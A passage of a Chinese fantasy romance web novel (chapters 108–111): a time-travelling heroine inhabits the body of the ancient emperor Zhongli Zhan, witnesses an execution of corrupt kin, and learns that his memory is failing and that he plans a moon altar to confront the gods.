云绡抬头朝钟离湛露出弯弯眉眼。 钟离湛眺望沿江的一丛山,那里的红碑不知何年被推翻,曾经的钟离氏陵园,也化作尘土,堆砌了山丘,景物大改。 钟离湛很快收回目光,迎上云绡的笑容点头:“绡绡真聪明。” 第108章 霖江边,云绡捧着一束水仙花闻香,看向面前燃烧的火堆,忍不住道:“你小时候一定是个调皮捣蛋的主儿。” 否则怎么会想到这么多食物稀奇古怪的吃法? 半个时辰前,云绡高高兴兴地抓了很多条小鱼,结果发现周围根本没有木果,她也没有蜂蜜,还没有油!晒不了鱼干也炸不了鱼干!简直白来! 钟离湛不太在意道:“那就换种吃法。” 他让云绡在江边上挖个坑,坑底放上江边枯黄的野草,垫上一张火符,而后洗了许多鹅卵石丢在草上。 小鱼处理好平放在鹅卵石上,火符点燃枯草,枯草在石下燃烧。 因为石头之间有缝隙,所以石下的火不会灭,可火势也烧不上来,明火接触不到小鱼,草灰也不会弄脏小鱼,没一会儿小鱼就煎得滋滋冒油。 钟离湛适时提醒她:“翻面。” 云绡用两根洗干净的干草茎作为筷子,给小鱼翻面。 “嗯!很香!”她都闻到香味了。 钟离湛见她还算满意,便道:“我的手艺很不错的,等以后我做饭给你吃,保证把你喂得胖嘟嘟的。” 他永远都记得刚开始见到云绡时,她瘦巴巴的,看上去就像个十二、三岁的小孩儿。 此刻云绡单手托脸,笑盈盈的,脸颊上都能挤出软乎乎的肉了。 钟离湛的目光扫了她一眼,想:身上也软乎乎的。 鱼煎好了,这鱼的油脂较大,低温煎熟也不比炸的差多少,这里的枯草也带着清香,鱼又是吃花长大的,果然如同钟离湛说的,一点儿也不腥。 云绡一口气吃了二十多条,这才觉得饱。 夕阳西下,云绡躺在干草堆上看着江上日落,缓一缓撑着了的肚子,心想这样的人生可真是惬意。 钟离湛道:“我以前也喜欢这样,晒太阳,看江,吹风,我总觉得离开符玉城,外面的世界很辽阔,值得我用一生去闯荡。” 云绡朝他看去,见钟离湛耳廓微红,他突然道:“偷偷告诉你,那个狗洞是我挖的。” 云绡惊讶:“你挖狗洞,就是为了出城吃小鱼?” 钟离湛笑着摇头:“我出生之后天空起了七日火云,有人说是祥瑞,有人说的凶兆,我父母不愿将天象与我的出生牵连到一起,故而我小的时候没有离开过家,只在府上与堂兄弟和表兄弟们玩儿。” “卜卦者对我父母说,令郎如风,纵于天地,若有一日离了家宅,便再也回不来 了。”钟离湛道:“谁知他后来会一语成谶……但当时我是不信的,所以偷跑出府,在城墙下挖了狗洞,钻出来看看什么样的天地,能让我流连忘返,连家都不回。” “事实上,外界并没有吸引我的地方,彼时山川无色,大地萧索,唯有江面倒映着天空,成了灰暗中唯一的亮色,我看够了晚霞还是趁着夜色回去了。”钟离湛道:“后来我父母发现了那个狗洞,但他们疼爱我,没有堵住我偶尔一次离家的自由。” “江的那边,有难民,有死尸,有哭喊声,有争执声。而我背靠着的符玉城,金玉为盘,锦衣加身,连我爱吃的银鱼干,都是用蜂蜜腌制而成的。”钟离湛道:“后来我遇见了祁山鹤,他对我说出了这个世界真正的模样,杀了他之后,我以为那是一场梦,可我想要去看城墙之外,去江的那一边的心愈发强烈。” 天之骄子,娇惯着长大的钟离氏嫡子,未来的钟离氏家主,本是东洲唯一的主宰,却仍然背着他的剑,在还是少年的时期,真正踏出了家乡的故土。 从那之后,他的身份,他的想法和他的一切都没再回到钟离氏的锦绣之中。 钟离湛说完这些,太阳也快落山了。 他对云绡道:“走吧,我们该回去了。” 云绡起身,拍了拍裙上的枯草,知道这是仲卿和徐容靳在望月山那边成功生事,陆青岳和司徒皎,都离开符玉城了。 - 云绡回去的时候没有再钻狗洞,她从城门前绕过正好看见陆青岳将府卫带走了大半,一行人浩浩荡荡赶去望月山。 当她再一次站在钟离氏的老宅前,太阳已经彻底落山。云绡步入正门,沿着钟离湛指引的方向设下阵界。 九星连月阵她已经驾轻就熟,只需钟离湛稍加提点,云绡便在一夜时间内跑遍整座仅存的老宅,天初初亮时,九星连月阵成型。 等待时机成熟,进入九星连月阵前,云绡一直窝在钟离氏藏宝的楼阁下,身上披着珍珠锦,躺在那纯玉雕刻的美人榻上,幸福得整个人都在冒泡。 钟离湛看她就像只翘起尾巴的猫,忍不住伸手挠了挠云绡的下巴,云绡怎能不知他这举动的含义?不过这个时候她完全顾不上和钟离湛打闹,毕竟她的身上的珍珠锦很贵,掉一颗小珍珠她都要伤心的啊! 云绡那小财迷的模样简直叫钟离湛看得好笑不已,这哪儿像前两次九星连月阵之前的暂别? 第一次云绡以为是他的魂魄离开,日后或许不会再回来了,难受得如同生离死别。 第二次云绡知道是她的魂魄回到过去,可仍然害怕,抓着他手臂的手都在微微颤抖,需要他话语安抚,回来后还怪他没有哄人。 任何事到了第三次,人的心态就开始放平了。 云绡没有半点担心夜晚到来的样子,她现在抱着这些在暗室内不知多少年的老古董,将昨夜布阵漏下的觉补了回来,躺在坚硬的玉床上睡得不知道有多安稳。 看样子也不需要他亲亲抱抱了。 那怎么能行? 钟离湛算着时间,看她休息得差不多便把云绡抱在怀里,将她身上那繁重的珍珠锦脱去,而后亲亲抱抱,把人吻醒了。 云绡睁眼时还有些迷糊,揉着眼尾问了句:“天黑了吗?” “还没有。”钟离湛对上云绡那双疑惑的眼。 天没黑把她叫起来做什么? 钟离湛道:“要三天不见,舍不得你,所以咱们多亲几下,将这几天的补回来。” 云绡顿时就不困了。 这一点儿也不像钟离湛会说的话啊! 不过亲亲当然比睡觉好玩儿多了。 云绡也没发现自己裹着睡的珍珠锦已经被钟离湛很随意地丢到一旁屏风上挂着,她跨坐在钟离湛的腿上,双手勾着对方的脖子,眉眼弯弯歪着头朝钟离湛笑。 少女浑然不知自己此刻看上去有多放肆又妖冶,她顶着那双纯澈的圆眼,低头吻上钟离湛的眼睛再抬眸时,充满了旖旎的情愫。 滑腻温软的臀压下来,钟离湛的双腿都绷得发紧,他回吻云绡时脑海中刻画他此刻与云绡相拥的画面,忍不住心驰。 他们衣料未褪,可却能触碰彼此滚烫的身躯。 钟离湛搂抱着云绡的手记得她动情时,每一片肌肤的轻颤,和绷紧的弧度。 月隐入乌云,星辰也变得暗淡。 云绡拥着钟离湛问他:“我该不会回到你的小时候吧?” 钟离湛轻笑:“应当不会。” 他有些许关于小仙女的记忆,他记得自己与小仙女相遇时浑浑噩噩的状态,这种情况只有过三次。 所以钟离湛慎用这第三次九星连月阵,送云绡的魂魄回到过去,去寻找他遗忘的,藏匿于钟离氏老宅下的重要东西。 云绡倒是有些可惜,撇嘴道:“我也想陪小时候的你,一起看霖江上的日落,吃你喜爱的银鱼干。” 钟离湛何尝不想陪着孩童时期的云绡,度过她孤独的童年呢? 人生总是有些遗憾的。 他附身对云绡的唇上落下一吻:“我等你回来。” 怀中拥抱着的人渐渐消失,待到钟离湛睁开双眼,视野角度转变,陈旧的老宅里就剩下他一个人,附于云绡的身躯中,静等三日。 - 再度感觉到晕眩时,云绡暂且没有睁开眼,她的五感率先恢复的是听觉,而后才是嗅觉和其他一应感受。 嘈杂的声音从不远处响起,哭喊声渐渐逼近,云绡嗅到了淡淡的血腥味。 睁开眼去看,阳光正盛,可刮来脸上的寒风与风夹杂飘落的雪花让人丝毫感觉不到太阳的暖意。 云绡的身上裹着狐毛大氅,斜斜地靠在太师椅上,身旁虽有洛锦撑着一把遮风的伞,可肩上与膝前仍然落下了些许白。 可见钟离湛已经在这里坐了许久了。 再看向声音传来的地方,触目是一片白,白里猩红,滚烫的鲜血融化了白雪,已经倒了了十多个人,可在那十多个人之后还有许多人正在挣扎。 其中叫嚣的最凶的那个看上去约三十左右,对方看过来的眼神没有丝毫恭敬。执行者是何舜,曾经的书生文臣,居然也能提得动刀,一下就斩断罪人头颅。 云绡未反应过来眼下是何种情况,恍惚了瞬,便见又一个人死在何舜的刀下。 不远处的妇人嚎啕大哭,尖叫出来:“儿啊!我的儿啊!钟离湛!!!他是你血脉相连的表侄,你怎能这么狠心,连一个赎罪的机会都不给他!难怪世人都道你是疯子,是暴君!你无心无情,不堪为帝!” 云绡朝嘈杂声看去,这一眼她便看到了远处的霖江,一江分两岸,岸的那边是绪中,这边是东洲。 云绡的不远处是连绵的山,最高的那座此刻抬头去看居然看不见山顶,尤其是天灰蒙蒙的,大雪遮蔽了大半视野,雪盖在山巅上,几乎将那里与天色融为一体。 东洲唯一的高山,就只有传说山巅可以揽月入怀的望月山了。 周围除了那穿着锦衣华服正在骂她的妇人一家之外,另一边还有低声哭泣,跪在地上动也不动的人群,大约三十多个,皆是妇孺,披麻戴孝。 “洛锦。”云绡开口,伸手揉了揉有些疼的额角,眉心轻蹙,正要想如何才能不动声色地问出眼下究竟是何情况,可不必她开口,洛锦就像是明白过来什么,低声解释。 “君上要在望月山上修建月坛,姚氏假借为君分忧之名揽工,可他贪墨工款,致使月坛山体坍塌,埋了十多人,后未免幸存者告到君上跟前,又买凶杀人。” 洛锦说完,见“钟离湛”的眼中似乎还有些疑惑,他心下沉闷,眼底藏不住担忧,继续道:“三日前何大人调查出姚氏罪行,涉案者二十六人,致死建工百姓一百七十四人,其中有六十多人曾为姚氏的奴隶,今日,是为死者伸冤,提罪臣来望月山下受刑的。” 云绡了然,也弄明白了眼下情况。 钟离湛的祖母姓姚,姚氏老宅挨着钟离氏的宅院,而那双眼愤恨瞪着钟离湛的男人,按照辈分来看,应当是钟离湛的表兄,或许在钟离湛儿时 他们还一起玩耍过。 至亲犯事,钟离湛也肯通融,这才致使亲人谩骂。 那位姚姓表兄,也是得了钟离湛些许信任的,否则盖建月坛的工程不会落到他的身上。只可惜他辜负了钟离湛的信任,他也不懂,为何钟离湛会因为那些奴隶的性命与他动真格的了。 一开始他以为钟离湛是虚张声势,可当自己的亲生儿子死在前头,他便再也横行不下去,看向钟离湛那双仇恨的眼也渐渐变成了恐惧害怕。 他不止一个儿子,可他自己却只有一条命! “钟离……阿湛!阿湛!表兄知道错了,我真的知道错了!我不该出事时只想着自己,当时若能以银钱安抚那些受害者的家属,或许事情就不会走到这一步,是我自大。阿湛!看在咱们幼时一同玩耍的份上,看在、看在你祖母,我姨奶奶的份上,饶了我这一次吧!” 何舜已经走到了那个人的面前。 云绡看着对方痛哭流涕的脸,知道他不是诚心悔改,她还没出声,何舜的刀比她的声音更快。 手起刀落,干脆利落得很。 尖叫声响起,穿华衣的妇人倒了一片。 眼看二十多人都死了,那些披麻戴孝的受害家属们这才嚎啕大哭,仿佛诉尽了冤屈。 “君上是明君,断不会纵容任何一个行凶作恶之人,便是至交亲朋,也不姑息!你我生于天地,从来平等,我知一命还不了一命,但愿罪人伏法,能消解你们心中些许痛苦。”何舜对着那些跪地披麻戴孝者们道:“为死者悲,也要为生者毅,节哀。” 此话一出,受害者家人们全都朝云绡这边磕拜了过来。 “君上圣明!” 第109章 云绡看着那些跪地的百姓,又看向那些恨不得生吞活剐了她的姚氏族人,敛眸,起身。 这里接下来就教给何舜善后,洛锦撑着伞,快步跟在云绡身后。 云绡没有回去符玉城,而是直接朝望月山的方向过去。 她于心中唤了钟离湛好几声都没得到回应。 从洛锦的话中可以看出来,建造月坛的确是钟离湛下的令,可因为建造月坛死了这么多人,这些恶名恐怕最后也还是由钟离湛来担。 云绡想到了后世对钟离湛记载的历史,他的诸多恶行里,最后一条便是堆骨成山,以人骨建造通天高塔,所谓通天高塔,其实就是数千层台阶砌成的月坛。 而他在山巅烹煮孩童血肉,将自己化成妖魔,还要妄图用这些孩童的灵魂祭奠苍天成仙。 这些鬼话,云绡在永安城的客栈里也听人说过。 他建造月坛的本意是为了什么?月坛又是什么模样的? 云绡想只要她亲眼去看了月坛,见到上面的符文,恐怕就能弄明白了。 雪越来越大,上山的路也结了一层厚厚的冰,洛锦跟在云绡身后,几回抬首看向她。 见手里的伞也遮挡不住风雪,洛锦干脆收了伞,思索片刻后劝道:“君上,今日雪大,您已经吹了许久的寒风,咱们还是先回营帐内休息吧。” 云绡行至半途,突然捂着心口弯下了腰,就在方才那一瞬,她心口传来的疼痛如同千万根针一并刺入一样,深吸几口气后又缓了过来,只是心跳仍然很快。 怎么回事? 见人弯腰捂着心口,洛锦忍不住上前:“君上!君上三日前才呕血,这几日药也没能按时吃,今日又亲见行刑,不能再爬山了。” 呕血?! 云绡扶着树干的手一僵,她这才后知后觉地感受到了冷意,不是因为她之前不冷,而是因为云绡一时没有反应过来。 在她还是云绡,还是后宫里的十一殿下时,她的身体常年都是冰冷的,一到冬天四肢百骸遍体生寒,她也习惯了风雪天里手足冰凉。 可钟离湛不是这样的。 云绡记得之前他们去锦仙山,洛娥将那里变成了冰天雪地,钟离湛的身上仍然是暖的,可他今日的身体很凉,他的身体也很虚弱! 历史中的记载,待到月坛功成,便是哀鸿遍野,那也代表杀神钟离湛的死期将近了。 想到这一点,云绡的心里便是一痛。这一次的痛与方才不同,她心疼钟离湛,即便知道他会死,即便不久前她还与后来的他相拥,可她仍然为他难过。 云绡怔在半山腰处许久,她有些恍惚自己究竟该如何做。 她想帮钟离湛避开死劫,即便她也不清楚他究竟因何原因而死,可她不想钟离湛死去。 云绡又有些害怕,害怕如若她真的在当下帮助钟离湛度过了他的死劫,也许照国会延续下去,也许后世会变得更好,可也许就不会有她。即便有她,她也不会再有机会与他相遇。 “君上!回去吧。”洛锦恳求道。 云绡抬眸看了一眼山顶,她距离那里还很远,云绡固然想看月坛,但钟离湛目前的身体恐怕真的无法承受她去冒着风雪攀爬高山。 不论她要不要帮他避开他的死劫,她都要先弄明白,他为何会这样虚弱。 而且云绡刚来到钟离湛的身体时,明显对周围的一切都很陌生,可洛锦却能猜出她的状况,主动解释现场…… 云绡跟着洛锦下了山,洛锦也松了口气,将收起的伞重新展开,遮挡在她的头顶上。 - 钟离湛离符玉城那么近,可他却没有回到符玉城,而是在望月山下寻了个村子,设下避寒的营帐。 洛锦将云绡送到营帐前便退下吩咐大夫熬药。 营帐很大,里外三层。第一层是环绕的通道,也隔绝了寒冷,第二层是议政的厅堂,桌案上放着奏折,还有一个缩小的望月山的沙盘,上面有月坛雏形。 从沙盘上去看,月坛虽是一层层台阶而上,整体却非方形,而是圆形的。一圈圈的圆层层垒叠在一起,像是树干的年轮一样。 云绡见着第二层厅堂内也没有其他重要的东西,便朝里侧走。 第三层只需掀开一层帐帘,里面的摆设更加简单,只有一张床榻,一张长桌,乍一眼看过去里面很空荡。云绡在踏入的时候脚下一顿,这一脚没有踩下去,而是往后退了一步。 【何解?】 突然出现的声音叫云绡呼吸一窒,她神色恍惚后又立刻惊喜,捂着砰砰乱跳的心口,云绡的声音有些颤抖道:“你、你醒啦?” 不等那道声音再问,云绡急忙道:“我这次走了多久?这期间发生了什么?你怎么会想到突然盖建月坛?还有你的身体!你怎么在吃药?怎么这样虚弱?手脚都是冰凉的,我叫了你很多次你都没有反应,我很担心你!” “钟离湛……”云绡轻声唤着他的名字。 钟离湛的话被她的一长串堵在口中,他也有疑问,他的疑问不比她的少,不过那些疑问都在她的疑问中变得不那么重要了。 顿了顿,钟离湛道:【你走了……很久。】 足足七年零九个月。 钟离湛还以为她不会再来了,毕竟上一次她离开,是因为她的魂魄被洛娥发现,而洛娥又是所谓神女,对方若用手段,他怕这异世之魂回不来。 但钟离湛也记得,她当时急匆匆地对他说要他弄明白朱木简上的真正含义,她会回来问他,所以后来钟离湛就又去了锦仙山。 几次往返,世间真相暴露眼前,却是他不忍想,也不知如何面对的残忍。 女魂问他这期间发生了什么,七年,发生了很多很多,多到他一时都不知要从何说起。 唯有叫她自己去看。 【此阵,何解?】 钟离湛的声音再度响起,云绡这才看向营帐的第三层,那帐帘后方的小室。 她方才没有立刻踏足,就是因为她发现了这小室周围设了阵咒。若是换作之前云绡未必会解,但恰好她被他亲自带去了钟离氏藏宝的楼阁,而那楼阁外的阵咒一如眼前,一脚踏入,便会掉进另一个幻象之中。 在九星连月阵布置好的那个晚上,钟离湛带她又一次回到楼阁前,便将阵咒解释给她听,不过是 利用封锁区域周围的摆设,刻下隐藏的咒文,捕猎突访者。 云绡既知其奥义,破解阵咒就不难了。 钟离湛沉默地看向她破阵的手法,藏于身躯内的魂魄似是随着心脏跳动,这破阵的方式说不是他亲自教的,他都不信。 一样的画符,一样的吟咒,一样的破阵,这位小仙女简直就像另一个世界里的自己。 云绡轻易踏入了钟离湛的领地,而方才在帐帘外看见的空荡荡的小室,此刻看去,桌案上堆积的杂乱的书记卷轴繁多,就连床榻上也是凌乱不堪的各种记录,只留了个可以让人半躺着倚靠的位置。 她还从未见钟离湛的住处乱成这样过,这也足以说明,发生在他身上的事很糟糕。 云绡走到桌案旁,低头看了一眼案上的字。 铁画银钩,如墨飞舞的字迹上简单地记录了近来他身边发生的事,包括洛锦解释的三日前何舜调查出姚氏贪墨工程款杀人灭口,再往前翻,云绡的手指一顿。 她眸中惊异,心头发堵。 前一张纸上记载的是两个月前月坛工程出事,他亲自坐镇监督月坛盖建,在村子里设下营帐的事。 再往前翻一张纸,纸上便是曦族氏族中的某些目无法纪之辈鱼肉乡里的事迹。 每一件事写得都不算详尽,可每一页纸的角落都记录了时间。 “你失忆了?!” 云绡连忙问,她翻着厚厚的一堆纸,心头酸胀,便是她桌案前的这些,就可以追溯到两年前。 钟离湛眸光微顿,似是轻嘲:【也不算吧,只要看见这些,我就都会想起来,似是有什么东西在混淆我的记忆,我还没能揪出它来。】 “所以,你从这个时候就已经有失忆的毛病了。”云绡喃喃。 难怪他死后,许多事情都记不得了。模糊的印象让他觉得有什么事情是重要的,便随着他觉得重要的步伐,一步步朝东洲走,去寻他要追溯的真相。 钟离湛自然捕捉到了云绡那句轻声的话,他没有问云绡,什么叫做他这个时候就有失忆的毛病了,是否表示他以后也会时常失忆? 他知道,有些天机不可戳破,而他要做的,是亲自去探寻。 “这种情况持续多久了?”云绡问钟离湛时也没忘记去翻看他桌案上凌乱的记录。 钟离湛道:【好似是从锦仙山离开之后。】 他将那所谓神明的疯女人封印在锦仙山后,耗尽力气倒下,后来被一道熟悉的声音唤醒,而后浑浑噩噩地离开。 回到王宫,钟离湛便下令禁制旖族生女,凡是私生旖族女者杀无赦。此令一出,自然又掀起了一阵风波,在那段风波中钟离湛日夜颠倒地去研究有限的历史,看那些苍天之上的神明如何设局。 许是外扰多,内忧重,钟离湛病倒了一次,醒来后就忘了一些事。 他起初并不知道自己失忆了,洛锦是第一个发现的。 因为他将一条已经下达了的命令,重新吩咐了洛锦。 在那之后,每年总有几次他会忘记一些事,导致钟离湛每下一个决定,生出一个念头,他都有记录在案的习惯。每天回来,他都会去翻看自己写下的话,核对时间,以保持自己在外仍是威严的曦帝,而不是个连记忆都无法掌控的疯子。 日复一日,长达七年之久。 钟离湛失忆的时间被拉长。 从以前只忘记一两天的事,到后来可能会忘记近七天发生的事,再到后来,他有时会一个恍惚之后,便不记得自己为何身处某处。 钟离湛看过大夫,他搜罗天下名医也无法看出他的记忆究竟出了什么问题,遗忘的时间越长,钟离湛就越急切地想要冲破这种不可控的桎梏。 云绡一心二用,一边听着钟离湛说的话,一边翻看他调查的内容,心下一片凉意,又有丝丝酸疼。 合上案上最后一本书籍,云绡看着几乎堆成了小山的记载,抬手轻轻按在了心口的位置。 她不知道她掌控钟离湛的身躯后,他的魂魄被困在了哪儿,云绡自己理解的他被困在了心上,便用这种方式离他更近一些,也是安抚着他。 好像这七年里他一直很孤独,他没有可以倾诉真相的人。所以在发现云绡又一次来到他的身躯里,即便他表现得再淡然,可仍然没忍住轻声诉说着长达七年的愁绪。 “你好厉害啊,钟离湛。”云绡眸光微动,扬声夸奖他,就像他也曾总这样夸她。 云绡从那堆凌乱的书籍里,找出了一些摊开在眼前,一个个指过去道:“顺河治水、云岭防灾,粟原种树……一年一功绩,这世上谁能做得比你更好?你简直堪称当世明君!” 钟离湛的目光顺着云绡的手指过去的方向,忽而一笑,近来听到的关于他疯了的传言越来越多,如此言之有物的夸赞很难叫人不心软。 云绡道:“我给你说个故事吧,钟离湛。” 钟离湛:【……孤不听。】 他都多大的人了,听什么故事? 云绡一拍桌子:“我就要说!” 钟离湛:【……那你说吧。】 他又不能捂着耳朵。 云绡眉目弯弯道:“我给你说个公主和影子的故事。” 第110章 “从前有位不受宠的公主,因宫门高,宫墙深,她从小到大都没离开过那所长大的院子。她没有朋友,也不讨人喜欢,每天能做的事就是数天上飞过了几只雀,地上爬过几群蚁。” 云绡说故事也算信手拈来:“许是因为她孤独太久了,所以她习惯了自言自语,可有一天公主听到了不一样的声音,来自她的影子。” “在她数天上飞过的鸟时,她的影子问她是不是也想飞,它可以教她飞翔。在她探头去看另一边院子里的花时,她的影子问她想不想隔空取物,将那束花移栽到自己的院子里来。影子告诉她,宫墙外的人有很多,宫墙外的天也更广阔,宫墙外的山高可摘星……它说了很多,公主都不信。” “公主知道,这是她的影子,它和她一样从来没有离开过眼前这方寸之地。在公主快要及笄前几天,影子说可以许她一个心愿,公主的内心有些奢望,所以大胆地告诉影子,她想要自由。” 钟离湛虽说不想听故事,可见云绡停顿了下来,又没忍住问:【后来呢?】 “后来她杀了伤害她和想要利用她的人,离开了困住她的皇宫,她果然看到了与宫中完全不同的天地,影子告诉她的话,一一应验。她对影子愈发好奇,为什么它会知道这么多,它是谁?公主走到了清澈的水边,探头去看——” 云绡故意卖了个关子,她想钟离湛再问她一句,结果等来了许长的沉默。 “……”云绡问他:“你不好奇她看见了谁吗?” 钟离湛道:“临水自照,除了能看见自己,还能看见什么?” 云绡撇了撇嘴,哼声道:“才不是呢!她看见了一个无比俊俏的男人!原来那个男人曾经是个行侠仗义的剑客,因知帝王昏庸而来,却入圈套只剩下魂魄一 缕。他对公主一见钟情,所以跟着公主的影子,将他曾经看过的走过的全都告诉公主,哄她开心!” 钟离湛:【所以……你这故事想说什么?】 云绡反问:“故事就一定非要有意义吗?我说给你听,你是不是暂时忘记了那些不快乐的回忆啦?而且,你不觉得公主和剑客,很配吗?” 云绡对钟离湛说话的语调娇滴滴的,钟离湛听自己的声音发出这样的语气,实在有些别扭,但他也敏锐地发现了一件事。 女魂与后来的他,关系不一样了。 若非极为亲密,她又怎会想要说这样写在画本里也没人看的故事哄他开心? 她……是他的谁? 钟离湛问:【所以,你是公主?】 云绡一顿,她知道钟离湛聪明,说不定借着这一点讯息也能推算出她的身份来。 若她承认自己是公主,岂不就是直白地告诉钟离湛,照国不复存在了吗? 云绡道:“我是小仙女啊,不是告诉过你吗?” 钟离湛沉默片刻,声音一字一顿道:【小、仙、女,呵,小仙女还要讲其他故事给我听吗?】 “不了不了。”云绡摆了摆手道:“轮到你说给我听了,你建盖月坛是为了什么?” 钟离湛也不意外她会如此生硬地转移话题,这至少说明,他猜对了。 而他猜到的答案,在这七年零九个月里,钟离湛也不是毫无准备的,只是此刻的他还无法想象得出日后他会与一个女人你我无间的关系。 并且,这个女人又如此了解他。 钟离湛思索了片刻,便毫无隐瞒地回答了云绡的问题。 她问他,盖建月坛是为了什么? 钟离湛低声道:【为了……窥天。】 - 七年零九个月。 自钟离湛将洛娥封印于锦仙山后,他每一日都在思考,那九天之上所谓的神明究竟为了什么,才将苍生作为棋子,布下这样一场没有意义的棋局。 想到最后,他得出的答案十分荒唐,可即便再荒唐,那也只能是唯一的真相。 人为天地之间的灵,那神明则是九天之上的灵,既有生命,便有七情六欲,便生凡心。正如同洛娥那样,超脱凡尘的身份之外,他们的躯壳之中存在的也仍然是个卑劣的,普通的灵魂。 这些灵魂有的天真,有的自私,有的狂妄,但无一例外,他们并不比寻常人更超凡脱俗。 他们明明拥有可以决定这世间苍生生死的能力,却把苍生看作刍狗,将他们都玩弄于股掌之中。 钟离湛对云绡说,在他了解之后的那些神仙、他梦里那些好似他永远也无法跨越过去的白色巨人,其实就像无知的孩子,面对从他们脚下走过幸劳的蚁群,恶劣地脱下他们的裤子,撒一泡热尿,颠覆整个蚁群。 云绡听他这样形容神仙,有些惊讶,她没想过钟离湛的嘴里也能说出这样粗鲁的话来。 可她又想起了洛娥……云绡觉得,好似钟离湛说的也是对的。 那些自以为是恩赐的神仙,给予了凡人力量,将原本团结的凡人划分成了五族,这和用一粒米去分裂蚁群的孩童并无区别。 而蚁群面对的滚滚热水,何尝不是凡人这些年来面临的天灾人祸? 钟离湛很痛恨。 从他少年时离开符玉城开始,他所面对的世界都是灰暗的,他一路走来,遇见的凡人多为困苦的,悲哀的。 明明那些神仙的力量也可以造福苍生,可却是他们的一场游戏,把苍生搅得天翻地覆。 那些力量,巨大了人心中的恶,削弱了人本拥有的善。 钟离湛曾经的目的是想让五族归一,即便他们不同族,却也同为凡人。他想让这世上的每个人都能通过自己的努力活下去,吃饱饭,不必再承受战争的恐惧和生离死别,颠沛流离之苦。 而今的目的,是他要断掉凡间与苍穹之上的联系,他想要结束这场可笑又可悲的,来自上位者的愚弄。 留给钟离湛的时间不多了,因为他总是在遗忘,一旦寻求到了些许突破,他找到了一些可以撼动那场棋局的关键,便会有一股力量混淆他的记忆,抽离他那几日所经历的一切,连带着与之有关的其他时间的记忆也变得模糊了起来。 所以钟离湛记录的东西越来越多,多到后来云绡看见的这些。 如果是别人,钟离湛一定不会说,因为他知道此时此刻的自己谁也不能信任。 就连神明都无法决定自己的善恶,更何况人心易改,若有更加强大的力量横在前方,谁又能确保自己能抵抗得住来此苍穹的诱惑? 曦族,长生。 尾人族,驭兽。 旖族,得世人爱慕。 湖族,阵界或可使得时光逆流。 那些曾被话本书写的神仙法能,如若都施加在同一个凡人的身上,谁又能拒绝得了? 这七年里,钟离湛能相信的就只有自己,即便洛锦知晓他有失忆的情况,钟离湛也从未向他解释过自己一切决定背后的原因。 但此刻在他身体里的不是别人,是那个来自异世的与他或许有亲密关系的女魂……也可能,这个女魂本就是他得知世间真相疯了之后臆想出来的另一个可以驱散孤独的自己。 随便吧。 钟离湛想。 他只要有个能说话的人就好了,可以让他信任的,说出去也不会伤害他,破坏他的计划,甚至会认同他的人。 所以他说,他要窥天。 【你可想过,天上的神仙为何能操纵地上的凡人为他们驱使?那是因为天与地之间本就有无形的桥梁。那些桥梁或许是千万年难得一遇的机遇,凡人若得机遇,或可以攀上登云梯,成为苍穹上指点江山者之一。】 【那些神仙,用这些桥梁来动摇人心,借着那些桥梁将力量灌注于凡人的身上,来达到他们那场游戏的布局。】 钟离湛对云绡说这些时,好像那块压在他心头上的沉甸甸的石块也随着每一句话被倾听而消失。 【所以我现在要做的就是找到那些桥梁,要么顺着桥梁而上,直接冲出棋盘,将他们杀个片甲不留,要么……便想尽办法斩断这世间所有天与地的相连。】 云绡没想到这七年的时间里钟离湛过得这么艰难,却又这么坚定地为苍生付出一切。 而今他的名声并不好。 即便他极力隐藏自己失忆的事实,可他的有些决定的确太过直接,而后被世人诟病。 那些早已习惯高高在上玩弄权力碾碎他人尊严的氏族在背后推波助澜,将钟离湛推上了风口浪尖,甚至让他与他的本族钟离氏为敌,让他的背后再没有半点倚仗,没有半点退路。 可苍生并不理解他,以为他坐上了帝王之位之后就和之前的五族五帝一样,以为他也有了不同的野心……所以他可以无视旖族的生命,可以将这世上绝大部分的旖族女子都埋尸荒山,可以强迫尾人族斩断尾巴,甚至为了废除氏族的奴隶,以解放奴隶为理由,不知斩下多少氏族的头颅。 侮他之名,辱没他尊严的,钟离湛对在这些都不在乎。 因为他知道他只想着让这世上的人不再经受战争的苦难,不再被氏族压弯脊梁,不再挨饿受冻,根本解决不了这世界的病根。 只要天与地之间相连的桥梁还在,只要凡人仍然有五族区分,他们就未能走出棋盘。 每个人的身上都有一根根傀儡红线,那是布局者绑定了与他们血脉之中的羁绊。 【悄悄告诉你啊,小仙女,我找到了与天最接近的地方。】 钟离湛说完这句话后,云绡便感觉到灵魂一股失重,双腿不受她的控制,身躯也在眨眼之间回到了钟离湛的掌控之中。 云绡被封锁在他的魂魄之下,她有一双眼,可以借着钟离湛的视线看向他的视野。 他阔步走到了营帐外头,双眸紧紧地盯着白雪簌簌的天空,看向那几乎与天色融为一体的望月山,道:【我找了七年,才终于确定了有这么一个地方,它居然就在我的故乡,它离天很近,我是说……离那些玩弄生灵的东西很近,只需再给它一些力量,它就能让我直面他们。】 云绡明白了,他说的力量就是那些被刻在月坛每一层台阶上的符文。 这才是钟离湛建造月坛的原因。 云绡的心中为他不甘,也为他不忍,她的声音很轻,从他的心底传达到他的心声处。 “他们未必会理解你。” 就如后世对他的那些骂名。 【不重要。】钟离湛道:【若有一朝我遇天,我要扒开它的心口,看见它的罪恶,警示世人,天不怜苍生,若想有尊严的活着,需得自救。】 “哥哥。” 云绡抬手轻轻触碰了一下模糊的眼角,她虽动,却无法带着钟离湛的身躯一起动。 所以眼眶含泪的人不是她,而钟离湛的眼泪没有落下 ,迎着风不过几息便被吹干了。 【哥哥?】钟离湛微微挑眉,不解地问:【后来的你我,究竟是兄妹,还是——】 “我理解你的,待月坛成时,我陪你走上去。” 云绡于心底暗暗地想,即便她或许不会再出现在这个世界上,即便后来她还是诞生了,可她永远也不会遇见后来的钟离湛,也罢了。 这一次,她一定要改变钟离湛的死局! 哪怕眼前的他并不知道他们后来经历的一切,也不知道他们相爱。 可他是钟离湛啊,不论是过去的,还是未来的,他都是对云绡而言最重要的那个人。 她舍不得他难过,也舍不得他死,或许苍天许她几次三番来到两千年前,来到他还活着的时候,便是想要她给他带来一线生机。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 云绡来时,月坛的盖建已经到达了尾声,再有一个月钟离湛便可以踏上去月坛顶端的阶梯。 这天里雪越来越大了。 东洲以往很少下雪的,这一场几乎要将东洲家家户户覆上一层白的大雪,在姚氏的渲染下成了钟离湛斩亲杀兄,作恶多端而天降的异象。 可大雪并没有让钟离湛命人修建月坛的脚步停下一天半日。 